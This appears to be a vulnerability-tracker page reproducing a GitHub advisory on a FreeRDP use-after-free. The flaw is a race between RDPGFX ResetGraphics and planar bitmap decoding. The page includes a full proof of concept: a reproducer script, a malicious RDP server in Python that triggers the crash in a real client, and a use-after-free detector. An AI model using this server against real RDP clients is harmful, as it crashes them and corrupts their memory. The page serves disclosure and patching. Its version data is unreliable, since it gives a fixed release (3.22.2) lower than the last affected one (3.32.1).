Read the docs

Race condition in FreeRDP RDPGFX ResetGraphics causes use-after-free

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

FreeRDP through 3.32.1 has a race condition in its RDPGFX ResetGraphics handling. A remote RDP server that has completed the handshake can send ResetGraphics on the drdynvc thread while it sends compressed planar bitmaps with bpp 32 or higher on the main thread. Because no lock protects the shared planar context, the reset can free or rebuild buffers while the decoder still uses them, causing a heap use-after-free or out-of-bounds access in the client process.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# FreeRDP planar bitmap decode: RDPGFX ResetGraphics race causes use-after-free of shared planar buffers ## Summary A remote RDP server that has completed the handshake and is in the ACTIVE state can trigger this in the default configuration with no user interaction: it sends RDPGFX ResetGraphics over the drdynvc thread while it concurrently sends legacy or fastpath compressed bitmaps with bpp greater than or equal to 32 over the main thread. The planar `pTempData`/`planesBuffer` are then rebuilt or freed at the same time the decoder is using them, so the decode either keeps reading and writing through freed buffers or bounds the old buffer by a newly set `maxWidth`, producing a heap use-after-free or an out-of-bounds access. The affected asset is the integrity of the client process heap memory, and the failure window is narrow and timing-dependent. The behavior was checked on the latest commit. ## Technical Details The missing check is any lock shared between the drdynvc ResetGraphics path and the main-thread planar decode over the same `BITMAP_PLANAR_CONTEXT`; neither path takes one, so reset and decode can execute on the context simultaneously. The two functions in `libfreerdp/codec/planar.c` are `freerdp_bitmap_planar_context_reset` (lines 1734-1790) and `freerdp_bitmap_decompress_planar` (lines 723-1175). Data flow: - `channels/drdynvc/client/drdynvc_main.c`, `drdynvc_virtual_channel_client_thread` (lines 1837-1868) is the entrypoint: DVC data is dispatched on a dedicated thread through `drdynvc_order_recv` -> `dvcman_call_on_receive`, so the RDPGFX callbacks, including ResetGraphics, run on that thread. - `channels/rdpgfx/client/rdpgfx_main.c`, `rdpgfx_recv_reset_graphics_pdu` (lines 704-794) parses the ResetGraphics PDU and IFCALLRET-invokes `context->ResetGraphics`, i.e. `gdi_ResetGraphics`. - `libfreerdp/gdi/gfx.c`, `gdi_ResetGraphics` (lines 149-166) calls `freerdp_client_codecs_reset` on `gdi->context->codecs`, which is the main-thread codecs object and is a different object from the GFX `gfx->codecs`, resetting its planar context. - `libfreerdp/core/codecs.c`, `freerdp_client_codecs_reset` (lines 185-191) calls `freerdp_bitmap_planar_context_reset` on `codecs->planar`. - `libfreerdp/codec/planar.c`, `freerdp_bitmap_planar_context_reset` (lines 1740-1788) is the sink: it first updates `maxWidth`/`maxHeight`/`maxPlaneSize`/`nTempStep`, then recalloc's each buffer and resets the pointers, with no lock held throughout. - On the other side, `libfreerdp/gdi/graphics.c`, `gdi_Bitmap_Decompress` (lines 240-246) decodes bpp greater than or equal to 32 compressed bitmaps on that same planar context, reading and writing `maxWidth`/`nTempStep`/`pTempData`. ## Impact Concurrent decode and reset of the shared planar context produce a heap use-after-free or an out-of-bounds read/write against the old buffers. The affected asset is the integrity of the client process heap memory, and the corruption is timing-dependent. ## Proof of Concept Reproduced on commit `651ab269524adbda4d673efa60d2e391ef7555a7` (no version tag). Run the reproducer from a checkout at that commit, with the client built into an install prefix: ``` $ export FREERDP_INSTALL=<build install prefix> $ ./reproduce.sh ``` The script starts Xvfb, launches the server (`mal_server.py`), and runs the real client with `uaf_guard.so` preloaded (`UAF_MIN=4000000`) and `MODE=normal`, `RESET_EVERY=4`. Input: `mal_server.py` accepts the client's X.224 negotiation, terminates TLS, replays the recorded server-to-client handshake in `rec.dump` so the client reaches ACTIVE with an open RDPGFX DVC channel, then interleaves RDPGFX ResetGraphics PDUs (drdynvc thread) with FastPath planar bitmap updates (main thread). Each bitmap update is a 256x85, bpp=32, `cll=1` (YCoCg) `PLANAR_FORMAT_HEADER_NA` payload carrying three 0x80-filled planes; `uaf_guard.so` mprotects a freed allocation of at least 4 MiB `PROT_NONE` and leaks it, so a later access through a dangling `planar->pTempData` pointer faults at the offending instruction. Observed output: the first attempt reproduces. ``` [repro] attempt 1/4 [repro] use-after-free observed (stack) REPRO_RESULT: reproduced REPRO_EXIT=0 ``` Crash stack: ```text Thread 3 "xfreerdp" received signal SIGSEGV, Segmentation fault. 0x00007fd02ce40db3 in writeLine () from /work/build/source/install/lib/libfreerdp3.so.3 #0 0x00007fd02ce40db3 in writeLine () at /work/build/source/install/lib/libfreerdp3.so.3 #1 0x00007fd02ce3ea82 in planar_decompress_planes_raw () at /work/build/source/install/lib/libfreerdp3.so.3 #2 0x00007fd02ce3de2a in freerdp_bitmap_decompress_planar () at /work/build/source/install/lib/libfreerdp3.so.3 #3 0x00007fd02cf3b85e in gdi_Bitmap_Decompress () at /work/build/source/install/lib/libfreerdp3.so.3 #4 0x00007fd02cf36a8b in gdi_bitmap_update () at /work/build/source/install/lib/libfreerdp3.so.3 #5 0x00007fd02cf50b50 in fastpath_recv_update_common () at /work/build/source/install/lib/libfreerdp3.so.3 #18 0x000055f1b854d46b in xf_client_thread () #19 0x00007fd02d267f16 in thread_launcher () at /work/build/source/install/lib/libwinpr3.so.3 --- concurrent reset thread --- #3 0x00007fd02ce4073c in freerdp_bitmap_planar_context_reset () at /work/build/source/install/lib/libfreerdp3.so.3 #4 0x00007fd02d1d85c0 in freerdp_client_codecs_reset () at /work/build/source/install/lib/libfreerdp3.so.3 #5 0x00007fd02cf34289 in gdi_ResetGraphics () at /work/build/source/install/lib/libfreerdp3.so.3 #6 0x00007fd02d13bae5 in rdpgfx_recv_reset_graphics_pdu () at /work/build/source/install/lib/libfreerdp-client3.so.3 #11 0x00007fd02d1e7f5c in drdynvc_process_data () at /work/build/source/install/lib/libfreerdp-client3.so.3 #12 0x00007fd02d1e6d2c in drdynvc_order_recv () at /work/build/source/install/lib/libfreerdp-client3.so.3 #13 0x00007fd02d1e64bb in drdynvc_virtual_channel_client_thread () at /work/build/source/install/lib/libfreerdp-client3.so.3 ``` Differential: with `MODE=bitmaps_only` (bitmaps, no reset) no signal is observed; with `MODE=resets_only` (reset, no bitmap) there is no planar crash; with `MODE=normal` (both interleaved) the client crashes, so the corruption appears only when the two PDU streams are concurrent. Without the guard loaded, the client naturally SIGSEGVs in `writeLine` <- `planar_decompress_planes_raw` <- `freerdp_bitmap_decompress_planar` <- `gdi_Bitmap_Decompress` while the drdynvc thread is in `gdi_ResetGraphics`. In the guarded run the fault address `0x7fcc1c452d90` falls inside the poisoned range `[0x7fcc1c452000,0x7fcc1c8d2000)` of the `6*maxPlaneSize` buffer just freed by `freerdp_bitmap_planar_context_reset`, confirming a write after free rather than a size mismatch. PoC sources: `reproduce.sh`: ```bash #!/bin/bash # --------------------------------------------------------------------------- # planar ResetGraphics / planar-decode race -- one-shot reproduction # # A remote RDP server triggers RDPGFX ResetGraphics on the client's # drdynvc thread (gdi_ResetGraphics -> freerdp_client_codecs_reset -> # freerdp_bitmap_planar_context_reset), which frees/reallocates the shared # BITMAP_PLANAR_CONTEXT buffers, while the client main thread is concurrently # decoding a planar (YCoCg, bpp>=32) bitmap update with # freerdp_bitmap_decompress_planar() on that same context. No lock is taken on # the main-thread side, so the decode keeps writing through the freed # planar->pTempData pointer => use-after-free / heap corruption. # # What the script does: # * starts a remote RDP server (mal_server.py) that terminates TLS and # replays a recorded benign server->client handshake (rec.dump) so the real # xfreerdp client reaches ACTIVE with an open RDPGFX DVC channel, then # interleaves RDPGFX ResetGraphics PDUs (drdynvc thread) with FastPath # planar YCoCg bitmap updates (main thread); # * runs the real client binary against it; # * loads uaf_guard.so, which mprotect()s freed >=4MiB allocations PROT_NONE, # so a write through the dangling planar->pTempData pointer faults at the # exact instruction instead of silently corrupting the heap. # # Only xfreerdp, python3, openssl and (optionally) gdb are required; Xvfb is # installed from the distribution if it is missing. Per-run wall clock is # bounded, all spawned processes are killed and the temp dir is removed. # --------------------------------------------------------------------------- set -u HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" PORT="${PLANAR_PORT:-13389}" DISP="${PLANAR_DISPLAY:-:99}" ATTEMPTS="${PLANAR_ATTEMPTS:-4}" CTIMEOUT="${PLANAR_TIMEOUT:-45}" INST="${FREERDP_INSTALL:-/work/build/source/install}" BIN="$INST/bin/xfreerdp" WORK="$(mktemp -d /tmp/planar-repro.XXXXXX)" XVFB_PID="" SRV_PID="" RESULT="" log() { echo "[repro] $*"; } cleanup() { [ -n "$SRV_PID" ] && kill "$SRV_PID" 2>/dev/null [ -n "$XVFB_PID" ] && kill "$XVFB_PID" 2>/dev/null wait 2>/dev/null rm -rf "$WORK" } trap cleanup EXIT INT TERM if [ ! -x "$BIN" ]; then echo "REPRO_RESULT: environment_error" echo "[repro] xfreerdp not found at $BIN" exit 3 fi for f in mal_server.py uaf_guard.c rec.dump; do if [ ! -f "$HERE/$f" ]; then echo "REPRO_RESULT: environment_error" echo "[repro] missing helper $HERE/$f" exit 3 fi done # --- dependencies ----------------------------------------------------------- NEED_PKGS="" command -v Xvfb >/dev/null 2>&1 || NEED_PKGS="xvfb" [ -n "$(command -v gdb || true)" ] || NEED_PKGS="$NEED_PKGS gdb" if [ -n "$NEED_PKGS" ]; then log "installing:$NEED_PKGS" (apt-get update && apt-get install -y --no-install-recommends $NEED_PKGS) \ >"$WORK/apt.log" 2>&1 || true fi if ! command -v Xvfb >/dev/null 2>&1; then echo "REPRO_RESULT: environment_error" echo "[repro] Xvfb unavailable" exit 3 fi command -v openssl >/dev/null 2>&1 || { echo "REPRO_RESULT: environment_error"; echo "[repro] openssl unavailable"; exit 3; } command -v python3 >/dev/null 2>&1 || { echo "REPRO_RESULT: environment_error"; echo "[repro] python3 unavailable"; exit 3; } GDB="$(command -v gdb || true)" # --- build the UAF oracle --------------------------------------------------- if ! gcc -shared -fPIC -O2 -o "$WORK/uaf_guard.so" "$HERE/uaf_guard.c" -ldl 2>"$WORK/gcc.log"; then echo "REPRO_RESULT: environment_error" echo "[repro] cannot build uaf_guard.so"; cat "$WORK/gcc.log" exit 3 fi export LD_LIBRARY_PATH="$INST/lib" export LD_PRELOAD="$WORK/uaf_guard.so" export UAF_MIN=4000000 export MODE=normal export RESET_EVERY=4 log "starting Xvfb $DISP" Xvfb "$DISP" -screen 0 1024x768x24 >"$WORK/xvfb.log" 2>&1 & XVFB_PID=$! sleep 2 export DISPLAY="$DISP" CLIENT_ARGS=(/v:127.0.0.1:$PORT /cert:ignore /u:test /p:test /sec:tls /size:1024x768 /log-level:WARN /log-filters:com.freerdp.gdi:DEBUG) check_signal() { # $1 = log file grep -qE "received signal SIGSEGV|received signal SIGABRT" "$1" 2>/dev/null || return 1 grep -qE "writeLine|planar_decompress_planes_raw|freerdp_bitmap_decompress_planar|freerdp_bitmap_planar_context_reset" "$1" 2>/dev/null || return 1 return 0 } attempt=1 while [ "$attempt" -le "$ATTEMPTS" ]; do log "attempt $attempt/$ATTEMPTS" python3 "$HERE/mal_server.py" "$PORT" "$HERE/rec.dump" 1500 >"$WORK/server.log" 2>&1 & SRV_PID=$! sleep 1 if [ -n "$GDB" ]; then timeout -s KILL "$CTIMEOUT" gdb -q -batch \ -ex "set pagination off" -ex "set confirm off" -ex "set print thread-events off" \ -ex "handle SIGPIPE nostop noprint pass" \ -ex "handle SIGSEGV stop" -ex "handle SIGABRT stop" \ -ex "run" \ -ex "echo \n===== FAULT =====\n" \ -ex "thread apply all bt" \ --args "$BIN" "${CLIENT_ARGS[@]}" >"$WORK/client-$attempt.log" 2>&1 else timeout -s KILL "$CTIMEOUT" "$BIN" "${CLIENT_ARGS[@]}" >"$WORK/client-$attempt.log" 2>&1 fi CEXIT=$? log "attempt $attempt client exit=$CEXIT" # the server must have actually delivered the interleaved payload sent=0 grep -q "sent payload" "$WORK/server.log" 2>/dev/null && sent=1 if check_signal "$WORK/client-$attempt.log"; then RESULT="reproduced" log "use-after-free observed (stack)" grep -nE "received signal|writeLine|planar_decompress_planes_raw|freerdp_bitmap_decompress_planar|gdi_Bitmap_Decompress|freerdp_bitmap_planar_context_reset|gdi_ResetGraphics|drdynvc" \ "$WORK/client-$attempt.log" | head -30 break fi if grep -qE "corrupted (size|unsorted)|free\(\): corrupted" "$WORK/client-$attempt.log" 2>/dev/null; then RESULT="reproduced" log "heap corruption observed" grep -nE "corrupted|Aborted|freerdp_bitmap_planar_context_reset|gdi_ResetGraphics" \ "$WORK/client-$attempt.log" | head -20 break fi # fallback signal when gdb is unavailable: the UAF oracle turned the access into # a fatal SIGSEGV (139) / SIGABRT (134) of the client after the payload was sent. if [ "$sent" = "1" ] && { [ "$CEXIT" = "139" ] || [ "$CEXIT" = "134" ]; }; then RESULT="reproduced" log "client died with signal (exit=$CEXIT) while both PDU streams were active" grep -nE "Segmentation|corrupted|Aborted|signal" "$WORK/client-$attempt.log" | head -20 break fi kill "$SRV_PID" 2>/dev/null; wait "$SRV_PID" 2>/dev/null; SRV_PID="" attempt=$((attempt + 1)) done if [ "$RESULT" = "reproduced" ]; then echo "REPRO_RESULT: reproduced" exit 0 fi echo "REPRO_RESULT: not_reproduced" exit 1 ``` `mal_server.py`: ```python #!/usr/bin/env python3 """ Remote RDP server for the planar decode/reset race PoC. * terminates TLS with a self-signed cert, * replays a recorded benign server->client handshake so the real client reaches CONNECTION_STATE_ACTIVE with an open RDPGFX DVC channel (the inbound path is the real one, only the bytes are replayed to avoid re-implementing the whole handshake), * then drives two independent client threads: - drdynvc thread: RDPGFX ResetGraphics PDUs (reset of the planar context) - main thread : FastPath planar (YCoCg, cll!=0) 32bpp bitmap updates Environment: MODE normal | resets_only | bitmaps_only (default normal) RESET_EVERY reset every N bitmaps (default 4) NPAIRS number of bitmap updates (default 4000) """ import os import socket import ssl import struct import subprocess import sys import threading import time PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 13389 REC = sys.argv[2] if len(sys.argv) > 2 else "/work/rec.dump" NPAIRS = int(sys.argv[3]) if len(sys.argv) > 3 else 4000 MODE = os.environ.get("MODE", "normal") RESET_EVERY = int(os.environ.get("RESET_EVERY", "4")) BW, BH = 256, 85 def parse_dump(path): d = open(path, "rb").read() off = 0 srv = [] while off < len(d): ts, = struct.unpack_from("<Q", d, off); off += 8 rcvd = d[off]; off += 1 crc, = struct.unpack_from("<I", d, off); off += 4 size, = struct.unpack_from("<Q", d, off); off += 8 data = d[off:off + size]; off += size if rcvd == 0: srv.append(data) return srv RESET_SIG = bytes.fromhex("00040000" "00030000" "01000000" "00000000" "00000000" "ff030000" "ff020000" "01000000") def find_reset(records): for r in records: if RESET_SIG in r: return r raise SystemExit("reset record not found") def build_bitmap_update(width, height): """FastPath BITMAP update with a planar YCoCg (cll!=0) 32bpp payload.""" plane = width * height fmt_header = 0x01 | 0x20 # cll=1, PLANAR_FORMAT_HEADER_NA payload = bytes([fmt_header]) + b"\x80" * (3 * plane) flags = 0x0001 | 0x0400 # COMPRESSION | NO_COMPRESSION_HDR rect = struct.pack("<HHHHHHHHH", 0, 0, width - 1, height - 1, width, height, 32, flags, len(payload)) + payload body = struct.pack("<HH", 0x0001, 1) + rect # UPDATE_TYPE_BITMAP, 1 rect CHUNK = 16000 frags = [body[i:i + CHUNK] for i in range(0, len(body), CHUNK)] out = bytearray() for i, ch in enumerate(frags): if len(frags) == 1: frag = 0x0 elif i == 0: frag = 0x2 # FASTPATH_FRAGMENT_FIRST elif i == len(frags) - 1: frag = 0x1 # FASTPATH_FRAGMENT_LAST else: frag = 0x3 # FASTPATH_FRAGMENT_NEXT upd_hdr = (0x1 | (frag << 4)) & 0xFF total = 3 + 3 + len(ch) out += struct.pack("<BBBB", 0x00, 0x80 | (total >> 8), total & 0xFF, upd_hdr) out += struct.pack("<H", len(ch)) + ch return bytes(out) def gen_cert(dirpath): cert = os.path.join(dirpath, "srv.crt") key = os.path.join(dirpath, "srv.key") if not os.path.exists(cert): subprocess.run(["openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes", "-keyout", key, "-out", cert, "-days", "2", "-subj", "/CN=localhost"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) return cert, key X224_CONFIRM = bytes.fromhex("030000130ed000001234000200080001000000") def main(): records = parse_dump(REC) reset = find_reset(records) handshake = b"".join(records) bitmap = build_bitmap_update(BW, BH) print("mode=%s handshake=%d reset=%d bitmap=%d npairs=%d reset_every=%d" % (MODE, len(handshake), len(reset), len(bitmap), NPAIRS, RESET_EVERY), flush=True) cert, key = gen_cert("/work") ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(cert, key) ctx.set_ciphers("DEFAULT:@SECLEVEL=0") lsock = socket.socket() lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) lsock.bind(("127.0.0.1", PORT)) lsock.listen(1) print("listening", PORT, flush=True) conn, addr = lsock.accept() print("accepted", addr, flush=True) hdr = conn.recv(4) plen = struct.unpack(">H", hdr[2:4])[0] got = 0 while got < plen - 4: b = conn.recv(plen - 4 - got) if not b: break got += len(b) conn.sendall(X224_CONFIRM) tls = ctx.wrap_socket(conn, server_side=True) print("tls established", flush=True) stop = threading.Event() def drain(): while not stop.is_set(): try: if not tls.recv(65536): break except Exception: break threading.Thread(target=drain, daemon=True).start() tls.sendall(handshake) print("sent handshake", flush=True) time.sleep(0.2) for i in range(NPAIRS): if MODE in ("normal", "resets_only") and (i % RESET_EVERY) == 0: tls.sendall(reset) if MODE in ("normal", "bitmaps_only"): tls.sendall(bitmap) print("sent payload", flush=True) time.sleep(1.0) stop.set() try: tls.close() except Exception: pass if __name__ == "__main__": main() ``` `uaf_guard.c`: ```c /* * uaf_guard.c - minimal LD_PRELOAD use-after-free oracle. * * free() of a large allocation (>= UAF_MIN bytes, default 4 MiB) mprotect()s the * whole backing mapping PROT_NONE and leaks it instead of returning it to the * allocator. Any later read/write through a dangling pointer into that block * therefore takes SIGSEGV at the offending instruction, giving a precise stack. * * Large glibc malloc() requests come from dedicated mmap() regions, so poisoning * them cannot corrupt unrelated live allocations. */ #define _GNU_SOURCE #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> static void (*p_free)(void*) = NULL; static size_t (*p_usable)(void*) = NULL; __attribute__((constructor)) static void uaf_guard_init(void) { p_free = (void (*)(void*))dlsym(RTLD_NEXT, "free"); p_usable = (size_t(*)(void*))dlsym(RTLD_NEXT, "malloc_usable_size"); } void free(void* p) { size_t minsz = 4u << 20; if (!p_free) uaf_guard_init(); if (!p) { p_free(p); return; } const char* env = getenv("UAF_MIN"); if (env) minsz = (size_t)strtoull(env, NULL, 0); if (p_usable) { const size_t sz = p_usable(p); if (sz >= minsz) { /* * Round `end` DOWN, never up: rounding up to the next page would * mprotect the leading bytes of whatever live allocation follows the * freed mapping (mmap'd chunks are page aligned and contiguous), * turning an untouched neighbour into a bogus SIGSEGV. `start` is * rounded down because a malloc'd mmap chunk's user pointer sits a * few bytes into its own mapping, so the containing page is still * entirely inside the freed allocation. */ const uintptr_t a = (uintptr_t)p; const uintptr_t start = a & ~(uintptr_t)0xfff; const uintptr_t end = (a + sz) & ~(uintptr_t)0xfff; if (end > start && mprotect((void*)start, end - start, PROT_NONE) == 0) { if (getenv("UAF_LOG")) fprintf(stderr, "[uaf_guard] poison ptr=%p usable=%zu range=[%p,%p)\n", p, sz, (void*)start, (void*)end); return; /* poisoned and leaked on purpose */ } } } p_free(p); } ``` ## Suggested Fix Serialize access to the shared planar context with the lock that is missing: `freerdp_bitmap_planar_context_reset` in `libfreerdp/codec/planar.c` and the main-thread `freerdp_bitmap_decompress_planar` reading the same context must take the same per-context lock, so the RDPGFX ResetGraphics path reached through `gdi_ResetGraphics` -> `freerdp_client_codecs_reset` cannot rebuild or free `pTempData`/`planesBuffer` while a decode is in flight. Alternatively, ensure the planar context used by the main-thread legacy bitmap path is not the same object that `gdi_ResetGraphics` resets.

Why it matters now

Fix Fixed FreeRDP (c): 3.22.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.22.2Patch availableGHSA-xjhw-2r55-m95g
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.22.2 Patch available GHSA-xjhw-2r55-m95g

Remediation

Upgrade FreeRDP to version 3.22.2 or later.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-xjhw-2r55-m95g FreeRDP (c) Fixed in 3.22.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-xjhw-2r55-m95g

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences